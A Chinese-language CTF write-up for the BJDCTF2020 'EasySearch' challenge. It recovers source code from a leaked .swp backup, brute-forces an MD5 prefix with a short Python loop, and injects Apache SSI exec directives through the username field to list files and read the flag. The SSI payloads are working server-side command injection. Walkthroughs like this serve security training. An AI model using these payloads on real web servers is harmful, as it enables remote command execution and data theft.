[BJDCTF2020]EasySearch
Apache SSI远程命令执行漏洞
1.根据题目,扫描一下,御剑扫描扫到了是swp文件泄露 index.php.swp的备份文件
2.打开可以得到源码,好像是是传入的password md5加密前六位要等于admin 也就是等于 “6d0bc1” username可以随便写
3.这个可以用脚本跑下
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '6d0bc1':
print(i,a)
跑出来3个有用的,随便选一个密码登入进去,username随便填
2020666 2305004 9162671
4.进去后看不到啥东西,就在源码和请求头这些地方看看,发现了一个提示url,
进入网址,可以看到我们username(admin66就是我输入的username),那么注入点应该就在username
shtml,查到了Apache SSI 远程命令执行漏洞,
让username=<!--#exec cmd="ls ../"--> 这样进入网址后看到了flag文件
那么知道了flag的位置就好办了 直接username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
得到flag
(shtml是一种基于SSI技术的文件。SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)